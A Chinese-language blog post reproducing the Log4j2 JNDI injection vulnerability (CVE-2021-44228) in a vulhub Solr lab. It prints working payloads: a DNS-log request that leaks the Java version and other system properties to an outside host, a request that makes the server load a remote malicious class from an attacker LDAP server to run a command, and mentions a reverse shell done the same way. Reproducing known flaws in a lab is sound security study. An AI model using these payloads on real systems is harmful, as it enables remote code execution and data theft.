さくtwosmi1e

Apache Log4j2 lookup JNDI 注入漏洞复现(CVE-2021-44228)

twosmi1e·2021-12-30 20:58·1984 次阅读

Apache Log4j2 lookup JNDI 注入漏洞复现(CVE-2021-44228)

漏洞简介#

Apache Log4j 2 是Java语言的日志处理套件,使用极为广泛。在其2.0到2.14.1版本中存在一处JNDI注入漏洞,攻击者在可以控制日志内容的情况下,通过传入类似于${jndi:ldap://evil.com/example}的lookup用于进行JNDI注入,执行任意代码。

漏洞环境#

使用vulhub的环境https://github.com/vulhub/vulhub/tree/master/log4j/CVE-2021-44228

访问页面

漏洞复现#

使用dnslog回显#

Copy
GET /solr/admin/cores?action=${jndi:ldap://${sys:java.version}.example.com} HTTP/1.1 Host: 101.35.121.195:8983 Accept-Encoding: gzip, deflate Accept: */* Accept-Language: en User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Connection: close

还有其他一些敏感信息可以外带
${hostName}
${sys:user.dir}
${sys:java.version}
${java:os}

jndi注入#

用jndi exploit去做远程恶意类加载

执行touch /tmp/success
发送请求包

Copy
GET /solr/admin/cores?action=${jndi:ldap://1.15.177.22:1389/oltb2u} HTTP/1.1 Host: 101.35.121.195:8983 Accept-Encoding: gzip, deflate Accept: */* Accept-Language: en User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Connection: close

可以看到命令已经成功执行

同理我们可以这样去反弹shell
用jndi注入bash反弹shell的恶意类,反弹shell命令需要编码

然后去请求触发就可以了

漏洞分析#

分析和CodeQL的调试之后再补下

posted @   twosmi1e  阅读(1985)  评论(0编辑  收藏  举报
编辑推荐:
· Linux系列:如何用heaptrack跟踪.NET程序的非托管内存泄露
· 开发者必知的日志记录最佳实践
· SQL Server 2025 AI相关能力初探
· Linux系列:如何用 C#调用 C方法造成内存泄露
· AI与.NET技术实操系列(二):开始使用ML.NET
阅读排行:
· 被坑几百块钱后,我竟然真的恢复了删除的微信聊天记录!
· 没有Manus邀请码?试试免邀请码的MGX或者开源的OpenManus吧
· 【自荐】一款简洁、开源的在线白板工具 Drawnix
· 园子的第一款AI主题卫衣上架——"HELLO! HOW CAN I ASSIST YOU TODAY
· Docker 太简单,K8s 太复杂?w7panel 让容器管理更轻松!
点击右上角即可分享
微信分享提示
目录